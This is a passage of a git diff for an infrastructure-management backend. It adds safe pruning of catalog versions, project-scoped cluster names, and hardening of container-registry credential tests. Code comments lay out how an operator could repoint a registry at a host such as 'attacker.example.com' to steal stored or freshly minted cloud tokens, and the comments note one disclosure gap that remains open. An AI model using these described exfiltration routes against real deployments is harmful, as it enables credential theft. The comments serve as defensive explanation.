r for r in candidates + if r.is_active and refs_by_id.get(r.id) and not include_in_use + ] + if survives: + return None + return next((r for r in candidates if r.is_active), None) + + +_SPARED_REASON = ( + "last active version for this group; pruning it would remove the entry from " + "the catalog entirely" +) + + +def _assert_no_project_modules(db: Session, row: ModuleLibrary) -> None: + """Refuse to delete a version any project module still points at. + + The candidate loop already checks this, so reaching here with references + means the loop was wrong. That is worth a second query because the database + will NOT catch the mistake: ``ModuleLibrary.project_modules`` is declared + ``cascade="all, delete-orphan"``, so SQLAlchemy deletes the project's + modules first and the NOT NULL on ``module_library_id`` never gets a chance + to fire. Verified against the real ORM — deleting a referenced + ModuleLibrary takes the ProjectModule row with it, silently. So the guard in + the loop is not backed by a constraint; it is the only thing standing + between ``delete=True`` and destroying a project's modules, and a wrong + answer costs data rather than raising. + """ + refs = db.query(ProjectModule).filter(ProjectModule.module_library_id == row.id).count() + if refs: + raise InternalError( + f"Refusing to delete module version {row.path}@{row.version}: " + f"{refs} project module(s) reference it. Deleting would cascade and " + f"remove them." + ) + + +def _assert_no_stack_instances(db: Session, row: BlueprintRelease) -> None: + """Refuse to delete a release any stack instance was built from. + + Same reasoning, opposite database behaviour and the same outcome: that FK is + ``ON DELETE SET NULL``, so the delete succeeds quietly and strips the stack + of the record of what it was deployed from. Nothing raises either way, so + the check has to. + """ + refs = db.query(StackInstance).filter(StackInstance.blueprint_release_id == row.id).count() + if refs: + raise InternalError( + f"Refusing to delete blueprint release {row.blueprint_id}@{row.blueprint_version}: " + f"{refs} stack instance(s) were deployed from it. Deleting would null " + f"their provenance." + ) + + +def prune_module_source( + db: Session, + source_id: int, + *, + keep: int = 1, + delete: bool = False, + dry_run: bool = False, + include_in_use: bool = False, +) -> PruneResult: + """Retire superseded module versions for one source. + + Grouped by ``path``: each module keeps its newest ``keep`` versions and every + older one is deactivated, or deleted when ``delete`` is set and no project + module points at it. ``is_latest`` is recomputed per path afterwards — + without that a path whose newest row was just deactivated would have no + latest at all, and the module would vanish from the default catalog view + rather than fall back to the newest surviving version. + """ + if not db.query(ModuleSource).filter(ModuleSource.id == source_id).first(): + # Otherwise a typo'd id reports a successful no-op prune, which reads as + # "there was nothing to retire" rather than "that source does not exist". + raise NotFoundError("module_source", source_id) + + result = PruneResult(source_id=source_id, dry_run=dry_run, keep=keep) + + rows = db.query(ModuleLibrary).filter(ModuleLibrary.module_source_id == source_id).all() + by_path: dict[str, list[ModuleLibrary]] = {} + for r in rows: + by_path.setdefault(r.path or "", []).append(r) + + touched_paths: set[str] = set() + for path, versions in by_path.items(): + ordered = _ordered(versions, lambda r: r.version) + kept, candidates = ordered[:keep], ordered[keep:] + # Checked for every candidate, whatever the mode. A version in use is + # never deleted and, by default, not even hidden. Counted once up front + # because the spare-the-last-active decision needs the same answer. + refs_by_id = { + r.id: db.query(ProjectModule) + .filter(ProjectModule.module_library_id == r.id) + .count() + for r in candidates + } + spared = _spare_last_active(kept, candidates, refs_by_id, include_in_use) + + for row in kept: + result.items.append(PruneItem(path, row.version or "", "kept")) + for row in candidates: + refs = refs_by_id[row.id] + if spared is not None and row.id == spared.id: + result.items.append( + PruneItem(path, row.version or "", "kept", _SPARED_REASON) + ) + # Touched even though nothing was deactivated. Reaching here means + # the newest row is inactive while this one is active, so the flag + # is on the wrong row — the exact combination recompute_is_latest + # exists to resolve ("an inactive newest version must not hold the + # flag while active older versions read False"). Declining to + # deactivate anything and leaving the flags correct are different + # claims; without this only the first one would be true. + touched_paths.add(path) + continue + if refs and not include_in_use: + result.items.append( + PruneItem(path, row.version or "", "in_use", + f"{refs} project module(s) pinned to it; left untouched") + ) + continue + if refs: + # include_in_use: hide it, never remove it. module_library_id is + # NOT NULL, so deleting would either fail on the constraint or + # take the project's module with it. + result.items.append( + PruneItem(path, row.version or "", "deactivated", + f"{refs} project module(s) pinned to it; hidden, not deleted") + ) + if not dry_run and row.is_active: + row.is_active = False + touched_paths.add(path) + continue + if delete: + result.items.append(PruneItem(path, row.version or "", "deleted")) + if not dry_run: + _assert_no_project_modules(db, row) + db.delete(row) + touched_paths.add(path) + else: + if row.is_active: + result.items.append(PruneItem(path, row.version or "", "deactivated")) + if not dry_run: + row.is_active = False + touched_paths.add(path) + else: + result.items.append( + PruneItem(path, row.version or "", "kept", "already inactive") + ) + + if not dry_run: + db.flush() + for path in touched_paths: + recompute_is_latest(db, source_id, path) + db.flush() + return result + + +def prune_blueprint_source( + db: Session, + source_id: int, + *, + keep: int = 1, + delete: bool = False, + dry_run: bool = False, + include_in_use: bool = False, +) -> PruneResult: + """Retire superseded blueprint releases for one source. + + Grouped by ``blueprint_id``. A release a StackInstance points at is never + deleted: that FK is ``ON DELETE SET NULL``, so the delete would quietly + succeed and strip the stack of the record of what it was deployed from — + which is exactly the provenance the immutable-release rule exists to keep. + """ + if not db.query(BlueprintSource).filter(BlueprintSource.id == source_id).first(): + raise NotFoundError("blueprint_source", source_id) + + result = PruneResult(source_id=source_id, dry_run=dry_run, keep=keep) + + rows = ( + db.query(BlueprintRelease) + .filter(BlueprintRelease.blueprint_source_id == source_id) + .all() + ) + by_id: dict[str, list[BlueprintRelease]] = {} + for r in rows: + by_id.setdefault(r.blueprint_id or "", []).append(r) + + for bp_id, releases in by_id.items(): + ordered = _ordered(releases, lambda r: r.blueprint_version) + kept, candidates = ordered[:keep], ordered[keep:] + refs_by_id = { + r.id: db.query(StackInstance) + .filter(StackInstance.blueprint_release_id == r.id) + .count() + for r in candidates + } + # Same invariant as the module path: a blueprint whose newest release is + # already inactive must not lose its last active one and disappear from + # the version picker. + spared = _spare_last_active(kept, candidates, refs_by_id, include_in_use) + + for row in kept: + result.items.append(PruneItem(bp_id, row.blueprint_version or "", "kept")) + for row in candidates: + refs = refs_by_id[row.id] + if spared is not None and row.id == spared.id: + result.items.append( + PruneItem(bp_id, row.blueprint_version or "", "kept", _SPARED_REASON) + ) + continue + if refs and not include_in_use: + result.items.append( + PruneItem(bp_id, row.blueprint_version or "", "in_use", + f"{refs} stack instance(s) deployed from it; left untouched") + ) + continue + if refs: + result.items.append( + PruneItem(bp_id, row.blueprint_version or "", "deactivated", + f"{refs} stack instance(s) deployed from it; hidden, not deleted") + ) + if not dry_run and row.is_active: + row.is_active = False + continue + if delete: + result.items.append(PruneItem(bp_id, row.blueprint_version or "", "deleted")) + if not dry_run: + _assert_no_stack_instances(db, row) + db.delete(row) + else: + if row.is_active: + result.items.append(PruneItem(bp_id, row.blueprint_version or "", "deactivated")) + if not dry_run: + row.is_active = False + else: + result.items.append( + PruneItem(bp_id, row.blueprint_version or "", "kept", "already inactive") + ) + + if not dry_run: + db.flush() + # No is_latest recompute here, unlike the module path: BlueprintRelease has + # no is_latest column — only is_active — so there is nothing to recompute. + # The asymmetry is deliberate, not an omission. + return result diff --git a/backend/services/cluster_auto_registration_service.py b/backend/services/cluster_auto_registration_service.py index 859365b2..e0d90878 100644 --- a/backend/services/cluster_auto_registration_service.py +++ b/backend/services/cluster_auto_registration_service.py @@ -279,12 +279,35 @@ def maybe_register_container_cluster( .first() ) if existing: + # Ownership check (#79 item 7). The lookup keys on (name, project), but + # unregister keys on meta_data.source_module_id. Two modules in one + # project surfacing the same cluster_name used to clobber each other + # here: B overwrote A's kubeconfig/api_server, and A's destroy-time + # unregister -- which finds the row by source_module_id -- could then + # no longer clean up the hijacked row. A re-apply of the SAME module + # must still refresh its row; a DIFFERENT module must not take it. + owner = (existing.meta_data or {}).get("source_module_id") + if owner is not None and owner != module.id: + logger.warning( + "Cluster '%s' in project %s is owned by module %s; refusing to " + "overwrite it from module %s. Give the module a distinct " + "cluster_name, or destroy the owning module first.", + cluster_name, module.project_id, owner, module.id, + ) + return None existing.kubeconfig_encrypted = kubeconfig_encrypted if kubeconfig_context: existing.context = kubeconfig_context if api_server: existing.api_server = api_server existing.status = "active" + # Deliberately NOT claiming an ownerless row by stamping + # source_module_id. An ownerless row is hand-registered (or pre-dates + # ownership tracking); maybe_unregister_container_cluster keys on + # source_module_id precisely so destroying a module never deletes a + # hand-registered cluster that shares its name. Adopting here would + # reintroduce exactly that. Refreshing its kubeconfig, as before, is + # the right and sufficient behaviour. db.flush() logger.info("Updated cluster '%s' (id=%s) kubeconfig from module %s", cluster_name, existing.id, module.id) return existing diff --git a/backend/services/cluster_management_service.py b/backend/services/cluster_management_service.py index 0bc7342b..c4629fd9 100644 --- a/backend/services/cluster_management_service.py +++ b/backend/services/cluster_management_service.py @@ -280,12 +280,17 @@ def create_cluster(self, project_id: int, cluster_data) -> dict[str, Any]: kubeconfig_encrypted = encrypt_value(kubeconfig_yaml) - # Duplicate name check + # Duplicate name check -- scoped to THIS project (#113). A global check + # let project A's "prod" block project B's "prod" and told B that A had + # a cluster by that name via the 409. The DB constraint is now + # (project_id, name) too (v2_153), so this is the user-facing guard in + # front of it, not the only thing standing between two tenants. existing = self.db.query(KubernetesCluster).filter( - KubernetesCluster.name == cluster_data.name + KubernetesCluster.project_id == project_id, + KubernetesCluster.name == cluster_data.name, ).first() if existing: - raise ConflictError("cluster", f"Cluster '{cluster_data.name}' already exists") + raise ConflictError("cluster", f"Cluster '{cluster_data.name}' already exists in this project") # Auto-extract SSH tunnel target from kubeconfig API server URL ssh_remote_host = cluster_data.ssh_remote_k8s_host or "localhost" @@ -347,24 +352,75 @@ def create_cluster(self, project_id: int, cluster_data) -> dict[str, Any]: } def list_all_clusters(self) -> dict[str, Any]: - """List all Kubernetes clusters (global).""" + """List all Kubernetes clusters (global). + + This endpoint is instance-wide (require_viewer, not project-scoped), so + it must not expose the ADR-424 bnk_config -- host/DPU membership, + control-plane host, tmfifo pool CIDR -- cross-project to any viewer + (#116). bnk_config is redacted here; the project-scoped list and the + per-cluster detail keep it. No frontend consumer of this global list + reads bnk_config (only the project-scoped K8sClusterList does), so this + removes the disclosure without losing a feature -- and it also drops the + now-unnecessary membership bulk-fetch those fields required. + """ + from sqlalchemy.orm import selectinload + from routes.k8s._shared import serialize_cluster - clusters = self.db.query(KubernetesCluster).all() - result = [serialize_cluster(c) for c in clusters] + + clusters = ( + self.db.query(KubernetesCluster) + .options(selectinload(KubernetesCluster.bnk_config)) + .all() + ) + result = [serialize_cluster(c, include_bnk_config=False) for c in clusters] return {"clusters": result, "count": len(result)} def list_project_clusters(self, project_id: int) -> dict[str, Any]: - """List all Kubernetes clusters for a project.""" + """List all Kubernetes clusters for a project. + + NOTE (#116): this list still renders bnk_config, and its route is + require_viewer (any authenticated user) with NO membership/ownership + check -- project_id is a path param anyone may supply. Combined with the + global list (which still returns each cluster's project_id), any viewer + can read any project's bnk_config in two requests. Redacting bnk_config + on the global list (this change) is a strict improvement but does NOT + fully close #116: the project list must enforce per-project membership + first, and that is a pre-existing tenancy-model decision (require_viewer + is role-based across the app) larger than this change. Until that lands, + bnk_config here is readable by any authenticated user. + """ + from sqlalchemy.orm import selectinload + from routes.k8s._shared import serialize_cluster + from services.bnk_cluster_service import BnkClusterService + self._get_project(project_id) - clusters = self.db.query(KubernetesCluster).filter( - KubernetesCluster.project_id == project_id - ).all() - result = [serialize_cluster(c, include_project_id=False) for c in clusters] + clusters = ( + self.db.query(KubernetesCluster) + .filter(KubernetesCluster.project_id == project_id) + .options(selectinload(KubernetesCluster.bnk_config)) + .all() + ) + bnk_ids = [c.id for c in clusters if getattr(c, "bnk_config", None)] + membership_map = BnkClusterService(self.db).bulk_cluster_membership(bnk_ids) + result = [ + serialize_cluster(c, include_project_id=False, membership=membership_map.get(c.id)) + for c in clusters + ] return {"clusters": result, "count": len(result)} def get_cluster_details(self, cluster_id: int) -> dict[str, Any]: - """Get cluster details.""" + """Get cluster details. + + NOTE (#116): GET /k8s/clusters/{cluster_id} is require_viewer with NO + project scope (unlike the PUT/DELETE on the same path, which use + require_cluster_owner). This handler hand-builds its dict and must NOT + gain a bnk_config key -- reusing serialize_cluster here (or adding + bnk_config by hand) would reintroduce the cross-project disclosure #116 + closes, one request further along, and the id needed comes straight from + the global list. If bnk_config is ever needed on detail, scope this route + to the project first. + """ cluster = self._get_cluster(cluster_id) context = PlatformContextService.serialize_cluster_context(cluster) return { @@ -377,6 +433,9 @@ def get_cluster_details(self, cluster_id: int) -> dict[str, Any]: "region": cluster.region, "default_namespace": cluster.default_namespace, "status": cluster.status, "version": cluster.version, "project_id": cluster.project_id, + # ADR-478/494: release FK ids — deployable = intent; running = observed by scan. + "deployable_release_id": cluster.deployable_release_id, + "running_release_id": cluster.running_release_id, "last_synced_at": cluster.last_synced_at.isoformat() if cluster.last_synced_at else None, "created_at": cluster.created_at.isoformat() if cluster.created_at else None, "updated_at": cluster.updated_at.isoformat() if cluster.updated_at else None @@ -392,12 +451,14 @@ def update_cluster(self, cluster_id: int, cluster_data) -> dict: requested_ssh_tunnel_enabled = cluster_data.ssh_tunnel_enabled if cluster_data.name is not None: + # Scoped to the cluster's own project (#113) -- see create_cluster. existing = self.db.query(KubernetesCluster).filter( + KubernetesCluster.project_id == cluster.project_id, KubernetesCluster.name == cluster_data.name, - KubernetesCluster.id != cluster_id + KubernetesCluster.id != cluster_id, ).first() if existing: - raise ConflictError("cluster", f"Cluster '{cluster_data.name}' already exists") + raise ConflictError("cluster", f"Cluster '{cluster_data.name}' already exists in this project") cluster.name = cluster_data.name if cluster_data.kubeconfig is not None: @@ -484,6 +545,10 @@ def delete_cluster(self, cluster_id: int) -> dict[str, Any]: """Delete cluster configuration.""" cluster = self._get_cluster(cluster_id) cluster_name = cluster.name + + # tmfifo IP release is handled by the KubernetesCluster before_delete + # mapper event in models/kubernetes.py (ADR-424 finding B) — no + # per-caller wiring needed here. self.db.delete(cluster) self.db.flush() return {"message": f"Cluster '{cluster_name}' deleted successfully"} diff --git a/backend/services/cluster_utils.py b/backend/services/cluster_utils.py index 6618df1a..539fe263 100644 --- a/backend/services/cluster_utils.py +++ b/backend/services/cluster_utils.py @@ -15,7 +15,11 @@ from core.encryption import decrypt_value from models import KubernetesCluster -from services.kubeconfig_normalizer import NormalizationSource, normalize_kubeconfig +from services.kubeconfig_normalizer import ( + NormalizationSource, + normalize_kubeconfig, + rewrite_kubeconfig_for_tunnel, +) logger = logging.getLogger(__name__) @@ -183,19 +187,10 @@ def _write_kubeconfig(cluster: KubernetesCluster, db: Session) -> str: # Check if project uses SSH credential template — open tunnel if so tunnel_port = _maybe_open_ssh_tunnel(cluster) if tunnel_port: - import yaml as yaml_lib - kubeconfig_dict = yaml_lib.safe_load(kubeconfig_content) - for c in kubeconfig_dict.get('clusters', []): - # Use 127.0.0.1 explicitly, not "localhost" — the latter - # resolves to both ::1 and 127.0.0.1, and the tunnel listener - # binds to 0.0.0.0 (IPv4 only). httpx/kr8s try ::1 first and - # bail out with "All connection attempts failed" instead of - # falling back to the IPv4 address. - c['cluster']['server'] = f'https://127.0.0.1:{tunnel_port}' - c['cluster']['insecure-skip-tls-verify'] = True - c['cluster'].pop('certificate-authority-data', None) - c['cluster'].pop('certificate-authority', None) - kubeconfig_content = yaml_lib.dump(kubeconfig_dict, default_flow_style=False) + # Shared with config_writer (the OpenTofu path) so both tunnel consumers + # get the same rewrite -- verification ON via tls-server-name where the + # CA allows it, legacy skip only as a fallback (#7). + kubeconfig_content = rewrite_kubeconfig_for_tunnel(kubeconfig_content, tunnel_port) # For EKS/AWS clusters, set AWS credentials in environment # The kubeconfig's 'aws eks get-token' command will use these diff --git a/backend/services/config_export_service.py b/backend/services/config_export_service.py index d2d9cdf5..7d5ab79e 100644 --- a/backend/services/config_export_service.py +++ b/backend/services/config_export_service.py @@ -232,6 +232,96 @@ def _fetch_resources(custom_api, resource_type: dict) -> list[dict]: return [] +def apply_resources(db, cluster_id: int, custom_api, resources: dict[str, list[dict]]) -> dict[str, list[dict]]: + """ + Server-side-apply a category -> [resources] map to a cluster via `custom_api`. + + Extracted from the `/bnk/import` route handler (`routes/config_export.py`) + so both the legacy import path and the use-case-artifact apply path + (`services/usecase_artifact_service.apply_usecase_artifact`) share one + write path — same `results` shape, same `field_manager`/`force` semantics, + same 404-to-skipped handling. + """ + from kubernetes.client.rest import ApiException + + results: dict[str, list[dict]] = { + "applied": [], + "failed": [], + "skipped": [], + } + + for category, resource_list in resources.items(): + for resource in resource_list: + kind = resource.get("kind", "Unknown") + name = resource.get("metadata", {}).get("name", "unknown") + ns = resource.get("metadata", {}).get("namespace", "") + api_version = resource.get("apiVersion", "v1") + + try: + # Parse group/version from apiVersion + if "/" in api_version: + group, version = api_version.rsplit("/", 1) + else: + group, version = "", api_version + + if not group: + results["skipped"].append({ + "kind": kind, "name": name, "namespace": ns, + "reason": "Core API import not supported", + }) + continue + + from services.execution.kubernetes_engine import KNOWN_PLURALS + from services.kubernetes._resources import resolve_plural_by_kind + plural = ( + resolve_plural_by_kind(db, cluster_id, kind, group or None) + or KNOWN_PLURALS.get(kind, kind.lower() + "s") + ) + + # Server-side apply via PATCH with application/apply-patch+yaml + if ns: + custom_api.patch_namespaced_custom_object( + group=group, version=version, namespace=ns, + plural=plural, name=name, body=resource, + field_manager="bnk-forge", force=True, + ) + else: + custom_api.patch_cluster_custom_object( + group=group, version=version, + plural=plural, name=name, body=resource, + field_manager="bnk-forge", force=True, + ) + + results["applied"].append({ + "kind": kind, "name": name, "namespace": ns, + }) + except ApiException as e: + if e.status == 404: + results["skipped"].append({ + "kind": kind, "name": name, "namespace": ns, + "reason": f"CRD not installed: {kind}", + }) + else: + results["failed"].append({ + "kind": kind, "name": name, "namespace": ns, + "error": str(e.reason)[:200], + }) + except Exception as e: + error_str = str(e) + if "404" in error_str or "resource type" in error_str.lower(): + results["skipped"].append({ + "kind": kind, "name": name, "namespace": ns, + "reason": f"CRD not installed: {kind}", + }) + else: + results["failed"].append({ + "kind": kind, "name": name, "namespace": ns, + "error": error_str[:200], + }) + + return results + + def export_cluster_config(cluster_id: int, db) -> dict[str, Any]: """ Export complete BNK configuration from a cluster. diff --git a/backend/services/container_registry_service.py b/backend/services/container_registry_service.py index ccd65598..878608fa 100644 --- a/backend/services/container_registry_service.py +++ b/backend/services/container_registry_service.py @@ -27,6 +27,7 @@ import io import json import logging +import re import tarfile from datetime import UTC, datetime from typing import Any @@ -218,6 +219,28 @@ def create_registry(self, data, created_by: str | None = None) -> dict: self.db.refresh(reg) return self.serialize(reg) + @staticmethod + def canonical_host(value: str | None) -> str: + """Canonical form of a registry host, for COMPARISON. + + Every consumer already canonicalizes before matching — + container_run_secrets and supply_chain both `.strip().lower()` — so a + raw string comparison here made the guard more sensitive than any real + behaviour. "harbor.internal" -> "Harbor.Internal" is a no-op for + matching, for DNS and for the https://{host}/v2/ URL, yet it tripped the + clearing and destroyed write-only credentials that cannot be re-obtained. + + That was reachable from the UI, not theoretical: the edit dialog's type + dropdown writes DEFAULT_HOSTS[type], which is '' for artifactory/harbor/ + distribution/oci, and '' is not nullish so the ?? fallback does not fire. + """ + host = (value or "").strip().lower().rstrip("/") + # A default port is not a different host. + for scheme_port in (":443", ":80"): + if host.endswith(scheme_port): + host = host[: -len(scheme_port)] + return host + def update_registry(self, registry_id: int, data) -> dict: reg = self._get_registry(registry_id) @@ -243,10 +266,58 @@ def update_registry(self, registry_id: int, data) -> dict: credential_template_id = update_data.pop("credential_template_id", "__unset__") old_type = reg.type + old_host = reg.registry_host for key, value in update_data.items(): if hasattr(reg, key): setattr(reg, key, value) + # Repointing a registry at a different host INVALIDATES every stored + # credential (issue #79, item 3). + # + # Registries are global and `require_operator` is the only gate on the + # PUT, so any operator reaches any other operator's registry. Without + # this, operator A changes registry_host on a registry operator B + # configured and presses Test: `_test_basic_v2` decrypts B's token, + # `_test_far` base64s B's service account, `_test_derived` mints a live + # ECR token — each sent to A's host. + # + # UNCONDITIONAL on host change, deliberately. A previous version gated + # this on "did the caller supply a new credential", which was a + # disjunction over all three families and therefore bypassable by + # supplying an OFF-family value: a `far_service_account: "{}"` (which + # _normalize_far_service_account accepts, since any parseable JSON + # passes) preserved a harbor record's token; replaying the record's own + # credential_template_id — serialized to every viewer — preserved a + # derived record's template. The clearing must not depend on what the + # caller sent. + # + # The re-apply blocks below then put back only what WAS supplied in this + # same request, which is the legitimate "move the registry and give it + # new credentials" flow. + # + # Explicit None comparison rather than a truthiness test: registry_host + # has no min_length at create, so an empty-string host is reachable and + # `"" -> "attacker.example.com"` must still clear. + host_changed = self.canonical_host(old_host) != self.canonical_host(reg.registry_host) + if host_changed: + reg.username = None + reg.token_encrypted = None + reg.far_service_account_encrypted = None + reg.credential_template_id = None + # Clear the whole cached verdict — leaving last_test_at behind + # renders a stale success timestamp beside a null status. + reg.last_test_status = None + reg.last_test_at = None + reg.last_test_message = ( + "Credentials cleared because the registry host changed; supply " + "credentials for the new host before testing." + ) + logger.warning( + "Registry %s host changed %r -> %r; all stored credentials " + "cleared to prevent them being sent to the new host.", + reg.id, old_host, reg.registry_host, + ) + # A type switch crosses credential families (basic-auth / far / derived). # Drop the previous family's credential so no stale secret survives under # a type that never reads it. @@ -260,6 +331,20 @@ def update_registry(self, registry_id: int, data) -> dict: self._normalize_far_service_account(far_service_account) ) if credential_template_id != "__unset__": + # Re-applied even on a host change, deliberately. + # + # A template id is a public reference rather than a secret, so at + # first glance honouring it here lets an attacker re-attach the + # victim's credentials to their own host. But `create_registry` + # already accepts ANY template id on a NEW registry at ANY host + # (:212, no ownership check), so refusing it here buys nothing — + # the same outcome is one POST away — while making a derived + # registry's host impossible to change at all, since the + # derived-type invariant below then rejects the update. + # + # The real gap is that credential templates carry no per-operator + # authorisation on either path. That is a separate, pre-existing + # issue and is filed as such; it is NOT closed by this change. self._apply_derived_template(reg, credential_template_id, required=False) # Switching to a derived type without a template leaves a registry that @@ -380,7 +465,10 @@ def _test_basic_v2(self, reg: ContainerRegistry) -> dict[str, Any]: url = f"https://{reg.registry_host}/v2/" auth = (reg.username or "", token) try: - resp = requests.get(url, auth=auth, timeout=15) + # allow_redirects=False: a 302 off the vetted host would carry the + # Authorization header to wherever it points, re-opening the exfil + # path the allowlist just closed. + resp = requests.get(url, auth=auth, timeout=15, allow_redirects=False) except requests.RequestException as exc: return {"success": False, "error": f"Connection to {reg.registry_host} failed: {exc}"} @@ -458,6 +546,48 @@ def _test_far(self, reg: ContainerRegistry) -> dict[str, Any]: "error": f"Unexpected response from FAR {reg.registry_host} (HTTP {resp.status_code}).", } + # Derived registries mint a LIVE cloud credential at test time, so their + # host must look like the provider's. Unlike a standalone Harbor or + # Artifactory — which is legitimately self-hosted on any name, and is why a + # general host allowlist was rejected earlier — ECR and ICR hosts are + # provider-shaped and therefore constrainable. + _DERIVED_HOST_PATTERNS = { + # ecr-fips is a real endpoint family (govcloud/regulated), public.ecr.aws + # is ECR Public, and IBM exposes private..icr.io — all legitimate + # and all refused by a first pass that was too tight. A false positive + # here blocks a working registry, which is the same mistake as the + # allowlist that would have broken self-hosted Harbor. + "ecr": re.compile( + r"^(\d+\.dkr\.ecr(-fips)?\.[a-z0-9-]+\.amazonaws\.com(\.cn)?|public\.ecr\.aws)$" + ), + "icr": re.compile(r"^([a-z0-9-]+\.)*icr\.io$"), + } + + def _assert_derived_host_matches_provider(self, reg: ContainerRegistry) -> None: + """Refuse to mint a cloud token for a host that is not the provider's. + + credential_template_id is a PUBLIC reference — it is serialized to every + viewer — so an operator can repoint a derived registry at a host they + control, replay the id, press Test, and receive a live ECR + authorization token minted from someone else's AWS keys. Clearing on + host change does not stop it, because the replayed id re-attaches the + template in the same request; and templates carry no per-operator + authorisation (a separate, wider gap). + + Constraining the DESTINATION is what actually closes the exfil: the + token can only ever be sent to the cloud provider it came from. + """ + pattern = self._DERIVED_HOST_PATTERNS.get(reg.type) + if not pattern: + return + host = self.canonical_host(reg.registry_host) + if not pattern.match(host): + raise BadRequestError( + f"registry_host '{reg.registry_host}' is not a valid {reg.type.upper()} " + f"endpoint. A derived registry mints a live cloud credential when " + f"tested, so it may only point at its own provider." + ) + def _test_derived(self, reg: ContainerRegistry) -> dict[str, Any]: """Connectivity test for derived registry types (icr, ecr). @@ -465,6 +595,8 @@ def _test_derived(self, reg: ContainerRegistry) -> dict[str, Any]: CloudCredentialTemplate, then probes the registry v2 API with the exchanged credential. """ + self._assert_derived_host_matches_provider(reg) + try: username, password = self.resolve_pull_credentials(reg) except DerivedTokenExchangeError as exc: @@ -472,7 +604,12 @@ def _test_derived(self, reg: ContainerRegistry) -> dict[str, Any]: url = f"https://{reg.registry_host}/v2/" try: - resp = requests.get(url, auth=(username, password), timeout=15) + # allow_redirects=False on every test path, not just basic-auth: a + # 302 lets the server steer the probe, and this one carries a live + # minted cloud token. + resp = requests.get( + url, auth=(username, password), timeout=15, allow_redirects=False + ) except requests.RequestException as exc: return {"success": False, "error": f"Connection to {reg.registry_host} failed: {exc}"} diff --git a/backend/services/dpu_connectivity_service.py b/backend/services/dpu_connectivity_service.py index 663d76ac..97d3549f 100644 --- a/backend/services/dpu_connectivity_service.py +++ b/backend/services/dpu_connectivity_service.py @@ -189,7 +189,7 @@ def _run_dpu_pings( ) return [] - os_ip = derive_tmfifo_dpu_host(getattr(src_dpu, "rshim_device", None)) + os_ip = derive_tmfifo_dpu_host(getattr(src_dpu, "rshim_device", None), dpu=src_dpu) results: list[dict[str, Any]] = [] try: diff --git a/backend/services/dpu_os_probe_service.py b/backend/services/dpu_os_probe_service.py index aa6cebed..5c3c2ab4 100644 --- a/backend/services/dpu_os_probe_service.py +++ b/backend/services/dpu_os_probe_service.py @@ -176,7 +176,7 @@ def _run_inband(self, dpu: Dpu) -> None: from services.bf_conf_renderer import derive_tmfifo_dpu_host from services.rshim_service import open_inband_host_ssh - os_ip = derive_tmfifo_dpu_host(getattr(dpu, "rshim_device", None)) + os_ip = derive_tmfifo_dpu_host(getattr(dpu, "rshim_device", None), dpu=dpu) try: os_user, os_pw = self._resolve_os_credentials(dpu) diff --git a/backend/services/dpu_service.py b/backend/services/dpu_service.py index 26194ce0..c48fcae5 100644 --- a/backend/services/dpu_service.py +++ b/backend/services/dpu_service.py @@ -934,7 +934,7 @@ def _reset_dpu_os_via_tmfifo(db, dpu: Dpu, host_client) -> tuple[int, str, str]: "before a graceful restart." ) - os_ip = dpu.dpu_os_ip or derive_tmfifo_dpu_host(getattr(dpu, "rshim_device", None)) + os_ip = dpu.dpu_os_ip or derive_tmfifo_dpu_host(getattr(dpu, "rshim_device", None), dpu=dpu) transport = host_client.get_transport() if transport is None: return 1, "", "host SSH transport unavailable" diff --git a/backend/services/drift_service.py b/backend/services/drift_service.py index b39aa2fa..5bbc17fb 100644 --- a/backend/services/drift_service.py +++ b/backend/services/drift_service.py @@ -400,6 +400,53 @@ def get_stats(self, project_id: int | None = None, days: int | None = None) -> d cache.set(cache_key, result, ttl_seconds=120) return result + def _compute_release_drift(self, cluster) -> dict: + """ + Compute deployed-vs-running release-line drift (ADR-494 Phase B). + + Both sides are compared as BnkRelease.id (registry-row-id), never as + version strings. Granularity is the VERSION LINE (e.g. BNK 2.3), + not an exact build (2.3.1) — discovery resolves FLO chart versions to + a whole release line via flo_version_prefix matching. + + Fast path: if BnkDeployableRelease.bnk_release_id is already set use + it directly; otherwise resolve via flo_version through resolve_ga(). + + The running side is always loaded FK-direct (cluster.running_release_id) + because observed rows are is_active=False and would not re-match + resolve_ga(). + """ + from models.bnk_deployable_release import BnkDeployableRelease + from services.release_registry_service import ReleaseRegistryService + + running_id: int | None = getattr(cluster, "running_release_id", None) + deployable_id: int | None = getattr(cluster, "deployable_release_id", None) + + if deployable_id is None: + return {"status": "not_forge_deployed", "deployed_release_id": None, "running_release_id": running_id} + + deployable = self.db.query(BnkDeployableRelease).filter( + BnkDeployableRelease.id == deployable_id + ).first() + if deployable is None: + return {"status": "not_forge_deployed", "deployed_release_id": None, "running_release_id": running_id} + + # Fast path: pre-linked GA row. + deployed_row_id: int | None = deployable.bnk_release_id + if deployed_row_id is None: + ga = ReleaseRegistryService(self.db).resolve_ga(flo_version=deployable.flo_version) + deployed_row_id = ga.release_id if ga is not None else None + + if deployed_row_id is None: + # Cluster IS Forge-deployed but the FLO version cannot be resolved to a known release line. + return {"status": "deployed_unresolved", "deployed_release_id": None, "running_release_id": running_id} + + if running_id is None: + return {"status": "undiscovered", "deployed_release_id": deployed_row_id, "running_release_id": None} + + status = "in_sync" if deployed_row_id == running_id else "drifted" + return {"status": status, "deployed_release_id": deployed_row_id, "running_release_id": running_id} + @with_breaker("cluster", target_id_arg="cluster_id") def get_cluster_drift_status(self, cluster_id: int) -> dict: """Get drift status for all modules deployed to a cluster's project.""" @@ -434,6 +481,7 @@ def get_cluster_drift_status(self, cluster_id: int) -> dict: "modules_unchecked": 0, "overall_status": "unchecked", "module_statuses": [], + "release_drift": self._compute_release_drift(cluster), } settings = self.db.query(DriftSettings).filter( @@ -514,6 +562,7 @@ def get_cluster_drift_status(self, cluster_id: int) -> dict: "modules_unchecked": unchecked_count, "overall_status": overall_status, "module_statuses": module_statuses, + "release_drift": self._compute_release_drift(cluster), } def get_recent_drifted(self, limit: int = 20) -> list[dict]: diff --git a/backend/services/execution/blueprint_context.py b/backend/services/execution/blueprint_context.py index 20a29408..acb8217b 100644 --- a/backend/services/execution/blueprint_context.py +++ b/backend/services/execution/blueprint_context.py @@ -50,12 +50,13 @@ class ProjectContext: dpu_external_vlan_ipv4: str | None = None # e.g. "10.10.20.100" dpu_internal_vlan_ipv4: str | None = None - # From BnkVersionProfile + # From BnkDeployableRelease (formerly BnkVersionProfile) bnk_manifest_version: str | None = None flo_version: str | None = None cert_manager_version: str | None = None storage_class_type: str | None = None storage_provisioner: str | None = None + bnk_cr_kind: str | None = None # Derived flags is_bare_metal: bool = False @@ -71,6 +72,7 @@ def as_low_precedence_vars(self) -> dict[str, Any]: "dpu_external_vlan_ipv4", 